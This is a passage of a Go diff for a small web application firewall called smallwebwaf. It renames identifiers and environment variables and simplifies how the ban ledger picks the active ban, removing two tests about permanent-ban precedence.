alerts.DestinationNtfy: {Failed: all, Dropped: all},
|
||||
} {
|
||||
wantDestinationCounts(t, q, destination, want)
|
||||
}
|
||||
@@ -965,8 +965,8 @@ func TestEachDestinationIsSentOnlyTheAlertsWaitingForIt(t *testing.T) {
|
||||
synctest.Wait()
|
||||
|
||||
wantBodies(t, standIns[alerts.DestinationSlack],
|
||||
`{"text":"*fsn1app1/blog: file_error*\nsecond"}`,
|
||||
`{"text":"*fsn1app1/blog: file_error*\nthird"}`)
|
||||
`{"text":"*fsn1app1/gitea: file_error*\nsecond"}`,
|
||||
`{"text":"*fsn1app1/gitea: file_error*\nthird"}`)
|
||||
wantBodies(t, standIns[alerts.DestinationNtfy], "fourth")
|
||||
|
||||
// alerts.json then lists Slack and ntfy alone, with no alert waiting.
|
||||
@@ -1223,12 +1223,12 @@ func wantEvents(t *testing.T, webhook *standIn, want ...string) {
|
||||
// requests to it that it counts as failed, the alerts it counts as held
|
||||
// back, and those it counts as dropped for the webhook.
|
||||
func wantCounts(
|
||||
t *testing.T, q *alerts.Queue, sent, sendFailures, suppressed, dropped int64,
|
||||
t *testing.T, q *alerts.Queue, sent, failed, suppressed, dropped int64,
|
||||
) {
|
||||
t.Helper()
|
||||
|
||||
wantDestinationCounts(t, q, alerts.DestinationWebhook,
|
||||
alerts.Counts{Sent: sent, SendFailures: sendFailures, Dropped: dropped})
|
||||
alerts.Counts{Sent: sent, Failed: failed, Dropped: dropped})
|
||||
|
||||
if q.Suppressed() != suppressed {
|
||||
t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed)
|
||||
@@ -1254,7 +1254,7 @@ type eventMessage struct {
|
||||
title, priorityAndTag, text string
|
||||
}
|
||||
|
||||
// anAlertForEachEvent returns an alert for each event SWW_ALERT_EVENTS
|
||||
// anAlertForEachEvent returns an alert for each event SWWAF_ALERT_EVENTS
|
||||
// names, the first in observe mode, each with its message.
|
||||
func anAlertForEachEvent() []eventMessage {
|
||||
return []eventMessage{
|
||||
@@ -1265,7 +1265,7 @@ func anAlertForEachEvent() []eventMessage {
|
||||
Reason: "requests per hour over the limit of 10000",
|
||||
Detail: map[string]any{"mode": "observe"},
|
||||
},
|
||||
"fsn1app1/blog: ban", "default no_entry",
|
||||
"fsn1app1/gitea: ban", "default no_entry",
|
||||
"requests per hour over the limit of 10000\nclient: 203.0.113.9\n" +
|
||||
"netblock: 203.0.113.0/24\ncountry: DE\nmode: observe",
|
||||
},
|
||||
@@ -1275,18 +1275,18 @@ func anAlertForEachEvent() []eventMessage {
|
||||
Netblock: netip.MustParsePrefix("198.51.100.7/32"), Country: "FR",
|
||||
Reason: "matched the rule env-file",
|
||||
},
|
||||
"fsn1app1/blog: permanent_ban", "high no_entry",
|
||||
"fsn1app1/gitea: permanent_ban", "high no_entry",
|
||||
"matched the rule env-file\nclient: 198.51.100.7\n" +
|
||||
"netblock: 198.51.100.7/32\ncountry: FR",
|
||||
},
|
||||
{
|
||||
alerts.Alert{
|
||||
Event: alerts.EventCoreRuleSetMatch, Client: netip.MustParseAddr("192.0.2.1"),
|
||||
Event: alerts.EventWAFBlock, Client: netip.MustParseAddr("192.0.2.1"),
|
||||
Netblock: netip.MustParsePrefix("192.0.2.1/32"),
|
||||
Reason: "refused by the Core Rule Set",
|
||||
Host: "app.example",
|
||||
},
|
||||
"fsn1app1/blog: core_rule_set_match", "default shield",
|
||||
"fsn1app1/gitea: waf_block", "default shield",
|
||||
"refused by the Core Rule Set\nhost: app.example\nclient: 192.0.2.1\n" +
|
||||
"netblock: 192.0.2.1/32",
|
||||
},
|
||||
@@ -1295,7 +1295,7 @@ func anAlertForEachEvent() []eventMessage {
|
||||
Event: alerts.EventAnomaly, Netblock: netip.MustParsePrefix("192.0.2.0/24"),
|
||||
Reason: "requests per minute over the threshold of 5000",
|
||||
},
|
||||
"fsn1app1/blog: anomaly", "high chart_with_upwards_trend",
|
||||
"fsn1app1/gitea: anomaly", "high chart_with_upwards_trend",
|
||||
"requests per minute over the threshold of 5000\nnetblock: 192.0.2.0/24",
|
||||
},
|
||||
{
|
||||
@@ -1304,7 +1304,7 @@ func anAlertForEachEvent() []eventMessage {
|
||||
Netblock: netip.MustParsePrefix("192.0.2.2/32"),
|
||||
Reason: "listed by a DNS blocklist",
|
||||
},
|
||||
"fsn1app1/blog: reputation_hit", "low label",
|
||||
"fsn1app1/gitea: reputation_hit", "low label",
|
||||
"listed by a DNS blocklist\nclient: 192.0.2.2\nnetblock: 192.0.2.2/32",
|
||||
},
|
||||
{
|
||||
@@ -1312,7 +1312,7 @@ func anAlertForEachEvent() []eventMessage {
|
||||
Event: alerts.EventSourceFailure, Reason: "asking GeoJS failed",
|
||||
Detail: map[string]any{"source": "geojs"},
|
||||
},
|
||||
"fsn1app1/blog: source_failure", "high warning",
|
||||
"fsn1app1/gitea: source_failure", "high warning",
|
||||
"asking GeoJS failed\nsource: geojs",
|
||||
},
|
||||
{
|
||||
@@ -1320,12 +1320,12 @@ func anAlertForEachEvent() []eventMessage {
|
||||
Event: alerts.EventFileError,
|
||||
Reason: "a rule file has an error, and the rules stay as they were",
|
||||
Detail: map[string]any{
|
||||
"file": "/etc/sww/rules.d/50-app.rules", "error": "line 2: no action",
|
||||
"file": "/etc/smallwebwaf/rules.d/50-app.rules", "error": "line 2: no action",
|
||||
},
|
||||
},
|
||||
"fsn1app1/blog: file_error", "high warning",
|
||||
"fsn1app1/gitea: file_error", "high warning",
|
||||
"a rule file has an error, and the rules stay as they were\n" +
|
||||
"file: /etc/sww/rules.d/50-app.rules\nerror: line 2: no action",
|
||||
"file: /etc/smallwebwaf/rules.d/50-app.rules\nerror: line 2: no action",
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
+16
-16
@@ -28,22 +28,22 @@ const maxCounters = 20000
|
||||
// alerts name them.
|
||||
const (
|
||||
// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
|
||||
// SWW_IPV6_GROUP_PREFIX.
|
||||
// SWWAF_IPV6_GROUP_PREFIX.
|
||||
ScopeClient = "client"
|
||||
// ScopeNet is the netblock around a client, SWW_ANOMALY_NET_V4_PREFIX
|
||||
// or SWW_ANOMALY_NET_V6_PREFIX long.
|
||||
// ScopeNet is the netblock around a client, SWWAF_ANOMALY_NET_V4_PREFIX
|
||||
// or SWWAF_ANOMALY_NET_V6_PREFIX long.
|
||||
ScopeNet = "net"
|
||||
// ScopeASN is an AS number.
|
||||
ScopeASN = "asn"
|
||||
// ScopeTotal is the whole service.
|
||||
ScopeTotal = "total"
|
||||
// ScopeWatchedNet is a named netblock of SWW_WATCH_NETS.
|
||||
ScopeWatchedNet = "watched_net"
|
||||
// ScopeWatch is a named netblock of SWWAF_WATCH_NETS.
|
||||
ScopeWatch = "watch"
|
||||
)
|
||||
|
||||
// Scopes returns every scope.
|
||||
func Scopes() []string {
|
||||
return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatchedNet}
|
||||
return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatch}
|
||||
}
|
||||
|
||||
// The windows a counter counts in, as the alerts name them.
|
||||
@@ -62,7 +62,7 @@ type Thresholds struct {
|
||||
BytesPerHour int64
|
||||
}
|
||||
|
||||
// NamedNetblock is a netblock SWW_WATCH_NETS names.
|
||||
// NamedNetblock is a netblock SWWAF_WATCH_NETS names.
|
||||
type NamedNetblock struct {
|
||||
Name string
|
||||
Netblock netip.Prefix
|
||||
@@ -70,14 +70,14 @@ type NamedNetblock struct {
|
||||
|
||||
// Params are what New needs.
|
||||
type Params struct {
|
||||
// The thresholds of each scope: SWW_ANOMALY_CLIENT_*,
|
||||
// SWW_ANOMALY_NET_*, SWW_ANOMALY_ASN_*, SWW_ANOMALY_TOTAL_* and
|
||||
// SWW_WATCH_*.
|
||||
// The thresholds of each scope: SWWAF_ANOMALY_CLIENT_*,
|
||||
// SWWAF_ANOMALY_NET_*, SWWAF_ANOMALY_ASN_*, SWWAF_ANOMALY_TOTAL_* and
|
||||
// SWWAF_WATCH_*.
|
||||
Client, Net, ASN, Total, Watch Thresholds
|
||||
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
|
||||
// client (SWW_ANOMALY_NET_V4_PREFIX and SWW_ANOMALY_NET_V6_PREFIX).
|
||||
// client (SWWAF_ANOMALY_NET_V4_PREFIX and SWWAF_ANOMALY_NET_V6_PREFIX).
|
||||
NetV4Prefix, NetV6Prefix int
|
||||
// NamedNetblocks are SWW_WATCH_NETS.
|
||||
// NamedNetblocks are SWWAF_WATCH_NETS.
|
||||
NamedNetblocks []NamedNetblock
|
||||
// Alerts receive the anomaly alerts.
|
||||
Alerts *alerts.Queue
|
||||
@@ -107,13 +107,13 @@ type Request struct {
|
||||
Host string
|
||||
// Client is the client's address, and ClientGroup the client it is
|
||||
// counted as: its IPv4 address, or the IPv6 netblock of
|
||||
// SWW_IPV6_GROUP_PREFIX its address is in.
|
||||
// SWWAF_IPV6_GROUP_PREFIX its address is in.
|
||||
Client netip.Addr
|
||||
ClientGroup netip.Prefix
|
||||
// ASN, ASName and Country are the client's as looked up, each "" when
|
||||
// unknown.
|
||||
ASN, ASName, Country string
|
||||
// Bytes are the request's bytes, as SWW_BYTES_COUNT counts them.
|
||||
// Bytes are the request's bytes, as SWWAF_BYTES_COUNT counts them.
|
||||
Bytes int64
|
||||
}
|
||||
|
||||
@@ -257,7 +257,7 @@ func (c *Counters) scopesOf(r Request) []scope {
|
||||
for _, named := range p.NamedNetblocks {
|
||||
if named.Netblock.Contains(client) {
|
||||
all = append(all, scope{
|
||||
key{scope: ScopeWatchedNet, netblock: named.Netblock, name: named.Name}, p.Watch,
|
||||
key{scope: ScopeWatch, netblock: named.Netblock, name: named.Name}, p.Watch,
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -391,7 +391,7 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert {
|
||||
detail["asn"] = k.asn
|
||||
case ScopeTotal:
|
||||
counted = "the whole service"
|
||||
default: // watched_net
|
||||
default: // watch
|
||||
counted = "the named netblock " + k.name + ", " + k.netblock.String()
|
||||
detail["name"] = k.name
|
||||
}
|
||||
|
||||
+18
-63
@@ -13,7 +13,7 @@ func TestBanWithoutACauseIsAnAdmins(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
netblock := netip.MustParsePrefix("203.0.113.0/24")
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
ledger.Load([]bans.Ban{{Netblock: netblock, Start: midnight()}})
|
||||
|
||||
if got := ledger.Bans(netblock)[0].Cause; got != bans.CauseAdmin {
|
||||
@@ -24,16 +24,16 @@ func TestBanWithoutACauseIsAnAdmins(t *testing.T) {
|
||||
func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
params := defaultParams()
|
||||
params.MaxBans = 1
|
||||
ledger := bans.New(params)
|
||||
rules := defaultRules()
|
||||
rules.MaxBans = 1
|
||||
ledger := bans.New(rules)
|
||||
adminsOnly := netip.MustParsePrefix("198.51.100.0/24")
|
||||
both := netip.MustParsePrefix("203.0.113.1/32")
|
||||
second := netip.MustParsePrefix("203.0.113.2/32")
|
||||
third := netip.MustParsePrefix("203.0.113.3/32")
|
||||
|
||||
// Seen longest ago, a netblock with two of an admin's bans alone, and
|
||||
// then one with an admin's ban before a ban sww made: the one
|
||||
// then one with an admin's ban before a ban smallwebwaf made: the one
|
||||
// ban counted toward MaxBans.
|
||||
ledger.Load([]bans.Ban{
|
||||
{Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin},
|
||||
@@ -48,7 +48,7 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
|
||||
})
|
||||
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 2})
|
||||
|
||||
// A new ban drops the ban sww made, and only that one.
|
||||
// A new ban drops the ban smallwebwaf made, and only that one.
|
||||
ledger.BanForLimit(second, midnight(), bans.Notes{})
|
||||
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1})
|
||||
|
||||
@@ -64,9 +64,9 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
|
||||
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
params := defaultParams()
|
||||
params.MaxBans = 2
|
||||
ledger := bans.New(params)
|
||||
rules := defaultRules()
|
||||
rules.MaxBans = 2
|
||||
ledger := bans.New(rules)
|
||||
netblock := netip.MustParsePrefix("203.0.113.1/32")
|
||||
other := netip.MustParsePrefix("203.0.113.2/32")
|
||||
|
||||
@@ -93,7 +93,7 @@ func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
|
||||
func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
netblock := netip.MustParsePrefix("203.0.113.1/32")
|
||||
|
||||
// The netblock breaks a limit twice, the second time after its first
|
||||
@@ -114,10 +114,10 @@ func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestReasonOfTheBansSwwMakes(t *testing.T) {
|
||||
func TestReasonOfTheBansSmallwebwafMakes(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
|
||||
limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
|
||||
bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"})
|
||||
@@ -150,7 +150,7 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
|
||||
Lifted: midnight().Add(10 * time.Minute),
|
||||
}
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
ledger.Load([]bans.Ban{lifted})
|
||||
|
||||
// While it would still last, it refuses nothing, and a limit broken
|
||||
@@ -181,7 +181,7 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
|
||||
|
||||
// A permanent ban for a clear sign of attack, lifted.
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
ledger.Load([]bans.Ban{{
|
||||
Netblock: netblock,
|
||||
Start: midnight(),
|
||||
@@ -211,7 +211,7 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
|
||||
func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
|
||||
bans.Notes{})
|
||||
atStart := bans.Ban{
|
||||
@@ -226,7 +226,7 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
|
||||
t.Fatalf("%d bans made by an admin after the start's, want none", got)
|
||||
}
|
||||
|
||||
// The admin keeps the ban sww made, keeps the one read at the
|
||||
// The admin keeps the ban smallwebwaf made, keeps the one read at the
|
||||
// start, and adds one without a cause: that one alone is made.
|
||||
kept := made
|
||||
kept.Cause = bans.CauseAdmin
|
||||
@@ -246,7 +246,7 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
netblock := netip.MustParsePrefix("203.0.113.0/24")
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
|
||||
// An hour's ban for a broken limit.
|
||||
ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||
@@ -292,7 +292,7 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
|
||||
wide := netip.MustParsePrefix("203.0.113.0/24")
|
||||
other := netip.MustParsePrefix("203.0.113.10/32")
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
ledger.Load([]bans.Ban{
|
||||
// Ended an hour ago.
|
||||
{
|
||||
@@ -341,48 +341,3 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
|
||||
|
||||
wantChanged(t, ledger, false)
|
||||
}
|
||||
|
||||
func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
client := netip.MustParseAddr("203.0.113.9")
|
||||
ledger := bans.New(defaultParams())
|
||||
|
||||
// The temporary ban is made first, so that its netblock is looked at first.
|
||||
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{})
|
||||
ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.0/24"), midnight(), time.Time{},
|
||||
"for good")
|
||||
|
||||
wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
|
||||
}
|
||||
|
||||
func TestOlderPermanentBanIsReturnedOverANewerTemporaryBan(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
netblock := netip.MustParsePrefix("203.0.113.0/24")
|
||||
ledger := bans.New(defaultParams())
|
||||
|
||||
ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
|
||||
ledger.BanForAdmin(netblock, midnight().Add(time.Minute), midnight().Add(time.Hour),
|
||||
"for an hour")
|
||||
|
||||
wantPermanentBan(t, ledger, netblock.Addr(), midnight().Add(2*time.Minute))
|
||||
}
|
||||
|
||||
// wantPermanentBan checks that Find and Check return a permanent ban for
|
||||
// client at now.
|
||||
func wantPermanentBan(
|
||||
t *testing.T, ledger *bans.Ledger, client netip.Addr, now time.Time,
|
||||
) {
|
||||
t.Helper()
|
||||
|
||||
for name, look := range map[string]func(netip.Addr, time.Time) (bans.Ban, bool, bool){
|
||||
"Find": ledger.Find,
|
||||
"Check": ledger.Check,
|
||||
} {
|
||||
ban, banned, _ := look(client, now)
|
||||
if !banned || !ban.Permanent() {
|
||||
t.Errorf("%s returned %+v and banned %v, want a permanent ban", name, ban, banned)
|
||||
}
|
||||
}
|
||||
}
|
||||
+28
-50
@@ -1,4 +1,4 @@
|
||||
// Package bans is the ban ledger: the bans sww makes on the
|
||||
// Package bans is the ban ledger: the bans smallwebwaf makes on the
|
||||
// netblocks of clients that break a rate limit, a byte limit or the error
|
||||
// burst, show a clear sign of attack or are listed by the CrowdSec
|
||||
// decision list, and
|
||||
@@ -21,14 +21,14 @@ import (
|
||||
|
||||
// The causes of bans.
|
||||
const (
|
||||
// CauseLimit is a ban sww made for a broken limit.
|
||||
// CauseLimit is a ban smallwebwaf made for a broken limit.
|
||||
CauseLimit = "limit"
|
||||
// CauseAttack is a ban sww made for a clear sign of attack.
|
||||
// CauseAttack is a ban smallwebwaf made for a clear sign of attack.
|
||||
CauseAttack = "attack"
|
||||
// CauseAdmin is a ban an admin made, or one sww made that an
|
||||
// CauseAdmin is a ban an admin made, or one smallwebwaf made that an
|
||||
// admin keeps. It is never dropped.
|
||||
CauseAdmin = "admin"
|
||||
// CauseCrowdSec is a ban sww made for a client the CrowdSec
|
||||
// CauseCrowdSec is a ban smallwebwaf made for a client the CrowdSec
|
||||
// decision list lists. It ends when CrowdSec's decision does.
|
||||
CauseCrowdSec = "crowdsec"
|
||||
)
|
||||
@@ -40,8 +40,8 @@ const repeatFactor = 3
|
||||
// maxTextBytes is how much of each text in a ban's notes is kept.
|
||||
const maxTextBytes = 256
|
||||
|
||||
// Params are how long a ban lasts, and how many bans are held.
|
||||
type Params struct {
|
||||
// Rules are how long a ban lasts, and how many bans are held.
|
||||
type Rules struct {
|
||||
// LimitBanDuration is how long a first ban for a broken limit lasts.
|
||||
LimitBanDuration time.Duration
|
||||
// LimitBanRepeatWindow is how soon after the end of the netblock's
|
||||
@@ -70,7 +70,7 @@ type Ban struct {
|
||||
Expires time.Time
|
||||
// Cause is CauseLimit, CauseAttack, CauseAdmin or CauseCrowdSec.
|
||||
Cause string
|
||||
// Reason is a short text: for a ban sww made, the limit broken,
|
||||
// Reason is a short text: for a ban smallwebwaf made, the limit broken,
|
||||
// the rule that matched or the scenario of CrowdSec's decision; for an
|
||||
// admin's, what the admin wrote.
|
||||
Reason string
|
||||
@@ -123,7 +123,7 @@ type Notes struct {
|
||||
LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
|
||||
// RuleID and Target are, for a ban for a clear sign of attack, the id
|
||||
// of the rule file rule that matched, and its target; TrapPath is, for
|
||||
// one for a request for a path in SWW_TRAP_PATHS, that path as the
|
||||
// one for a request for a path in SWWAF_TRAP_PATHS, that path as the
|
||||
// client sent it.
|
||||
RuleID string `json:"rule_id,omitempty"`
|
||||
Target string `json:"target,omitempty"`
|
||||
@@ -180,7 +180,7 @@ type Request struct {
|
||||
|
||||
// Ledger holds the bans. It is safe for concurrent use.
|
||||
type Ledger struct {
|
||||
params Params
|
||||
rules Rules
|
||||
// changed receives a value when a ban is made, unless one is waiting
|
||||
// already.
|
||||
changed chan struct{}
|
||||
@@ -190,7 +190,7 @@ type Ledger struct {
|
||||
// Find make each netblock they find the most recently seen.
|
||||
netblocks *simplelru.LRU[netip.Prefix, *[]Ban]
|
||||
// held is how many bans netblocks holds whose cause is not CauseAdmin,
|
||||
// at most params.MaxBans.
|
||||
// at most rules.MaxBans.
|
||||
held int
|
||||
// made is how many bans have been made since the start, by cause: by
|
||||
// the ledger, and by an admin, through BanForAdmin or in an edit of
|
||||
@@ -199,13 +199,13 @@ type Ledger struct {
|
||||
// v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6
|
||||
// netblocks that have been banned. Check looks for a ban at each of
|
||||
// them, so that a ban read from bans.json refuses every client in its
|
||||
// netblock even when it was made with another SWW_BAN_SCOPE_V4_PREFIX,
|
||||
// netblock even when it was made with another SWWAF_BAN_SCOPE_V4_PREFIX,
|
||||
// or another length of an IPv6 client's netblock.
|
||||
v4Lengths, v6Lengths []int
|
||||
}
|
||||
|
||||
// New returns a Ledger with no ban yet.
|
||||
func New(params Params) *Ledger {
|
||||
func New(rules Rules) *Ledger {
|
||||
// The ledger drops bans itself, and never those whose cause is
|
||||
// CauseAdmin, however many there are, so the LRU has no limit of its
|
||||
// own: it keeps the netblocks in the order they were last seen.
|
||||
@@ -215,7 +215,7 @@ func New(params Params) *Ledger {
|
||||
}
|
||||
|
||||
return &Ledger{
|
||||
params: params,
|
||||
rules: rules,
|
||||
changed: make(chan struct{}, 1),
|
||||
netblocks: netblocks,
|
||||
made: map[string]int{},
|
||||
@@ -274,27 +274,16 @@ func (l *Ledger) Find(client netip.Addr, now time.Time) (Ban, bool, bool) {
|
||||
|
||||
// activeBan returns the ban in bans, a netblock's bans oldest first, that
|
||||
// is active at now, or nil when none is. If several are, it returns the
|
||||
// newest permanent one, or the newest when none is permanent. Every ban is
|
||||
// looked at, since a ban an admin adds to bans.json can start before the
|
||||
// netblock's others and outlast them.
|
||||
// one that started last. Every ban is looked at, since a ban an admin adds
|
||||
// to bans.json can start before the netblock's others and outlast them.
|
||||
func activeBan(bans []Ban, now time.Time) *Ban {
|
||||
var newest *Ban
|
||||
|
||||
for i := len(bans) - 1; i >= 0; i-- {
|
||||
if !bans[i].ActiveAt(now) {
|
||||
continue
|
||||
}
|
||||
|
||||
if bans[i].Permanent() {
|
||||
if bans[i].ActiveAt(now) {
|
||||
return &bans[i]
|
||||
}
|
||||
|
||||
if newest == nil {
|
||||
newest = &bans[i]
|
||||
}
|
||||
}
|
||||
|
||||
return newest
|
||||
return nil
|
||||
}
|
||||
|
||||
// BanForLimit bans netblock at now for a broken limit, with notes, and
|
||||
@@ -592,7 +581,7 @@ func (l *Ledger) Load(bans []Ban) {
|
||||
}
|
||||
|
||||
// LoadEdit is Load for an admin's edit of bans.json, taken in while
|
||||
// sww runs. Each ban in it whose cause is CauseAdmin, and which
|
||||
// smallwebwaf runs. Each ban in it whose cause is CauseAdmin, and which
|
||||
// the ledger did not hold, with the same netblock and start, is one the
|
||||
// admin made, and is counted among the bans made.
|
||||
func (l *Ledger) LoadEdit(bans []Ban) {
|
||||
@@ -754,16 +743,13 @@ func (l *Ledger) markChanged() {
|
||||
}
|
||||
|
||||
// active returns the ban active at now on a netblock client is in, or
|
||||
// nil. If several netblocks have one, it returns a permanent ban when
|
||||
// there is one.
|
||||
// nil.
|
||||
func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
|
||||
lengths := l.v6Lengths
|
||||
if client.Is4() {
|
||||
lengths = l.v4Lengths
|
||||
}
|
||||
|
||||
var first *Ban
|
||||
|
||||
for _, length := range lengths {
|
||||
bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked())
|
||||
if !found {
|
||||
@@ -771,20 +757,12 @@ func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
|
||||
}
|
||||
|
||||
ban := activeBan(*bans, now)
|
||||
if ban == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if ban.Permanent() {
|
||||
if ban != nil {
|
||||
return ban
|
||||
}
|
||||
|
||||
if first == nil {
|
||||
first = ban
|
||||
}
|
||||
}
|
||||
|
||||
return first
|
||||
return nil
|
||||
}
|
||||
|
||||
// covering returns the bans of each netblock held that client is in,
|
||||
@@ -812,7 +790,7 @@ func (l *Ledger) covering(client netip.Addr) []*[]Ban {
|
||||
// unless ban's cause is CauseAdmin, which does not count toward MaxBans.
|
||||
func (l *Ledger) add(ban Ban) {
|
||||
counted := ban.Cause != CauseAdmin
|
||||
if counted && l.held == l.params.MaxBans {
|
||||
if counted && l.held == l.rules.MaxBans {
|
||||
l.dropOne()
|
||||
}
|
||||
|
||||
@@ -847,7 +825,7 @@ func (l *Ledger) add(ban Ban) {
|
||||
// new ban longer. A ban an admin adds to bans.json can start after
|
||||
// another and end before it, so that one is looked for among them all.
|
||||
func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
|
||||
length := l.params.LimitBanDuration
|
||||
length := l.rules.LimitBanDuration
|
||||
|
||||
var last *Ban
|
||||
|
||||
@@ -858,18 +836,18 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
|
||||
}
|
||||
}
|
||||
|
||||
if last != nil && now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
|
||||
if last != nil && now.Sub(last.Expires) <= l.rules.LimitBanRepeatWindow {
|
||||
lastLength := last.Expires.Sub(last.Start)
|
||||
// This is repeatFactor * lastLength > MaxBanDuration, written so
|
||||
// that it cannot overflow.
|
||||
if lastLength > l.params.MaxBanDuration/repeatFactor {
|
||||
if lastLength > l.rules.MaxBanDuration/repeatFactor {
|
||||
return time.Time{}
|
||||
}
|
||||
|
||||
length = repeatFactor * lastLength
|
||||
}
|
||||
|
||||
if length > l.params.MaxBanDuration {
|
||||
if length > l.rules.MaxBanDuration {
|
||||
return time.Time{}
|
||||
}
|
||||
|
||||
@@ -887,7 +865,7 @@ func (l *Ledger) attackExpiry(held []Ban, now time.Time) time.Time {
|
||||
}
|
||||
}
|
||||
|
||||
return now.Add(l.params.AttackBanDuration)
|
||||
return now.Add(l.rules.AttackBanDuration)
|
||||
}
|
||||
|
||||
// dropOne drops the earliest ban whose cause is not CauseAdmin of the
|
||||
|
||||
+27
-27
@@ -15,7 +15,7 @@ const day = 24 * time.Hour
|
||||
func TestRepeatsTripleUntilPermanent(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
now := midnight()
|
||||
|
||||
@@ -62,7 +62,7 @@ func TestRepeatWindowRunsOut(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
|
||||
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||
@@ -80,9 +80,9 @@ func TestRepeatWindowRunsOut(t *testing.T) {
|
||||
func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
params := defaultParams()
|
||||
params.LimitBanDuration = params.MaxBanDuration + time.Hour
|
||||
ledger := bans.New(params)
|
||||
rules := defaultRules()
|
||||
rules.LimitBanDuration = rules.MaxBanDuration + time.Hour
|
||||
ledger := bans.New(rules)
|
||||
|
||||
ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(),
|
||||
bans.Notes{})
|
||||
@@ -97,9 +97,9 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
|
||||
// With bans of up to 100,000 days, the 14th ban in a row, of 3^13
|
||||
// hours, is within the maximum, and three times as long would not fit
|
||||
// in a time.Duration. The 15th is permanent.
|
||||
params := defaultParams()
|
||||
params.MaxBanDuration = 100000 * day
|
||||
ledger := bans.New(params)
|
||||
rules := defaultRules()
|
||||
rules.MaxBanDuration = 100000 * day
|
||||
ledger := bans.New(rules)
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
now := midnight()
|
||||
|
||||
@@ -121,7 +121,7 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
|
||||
func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
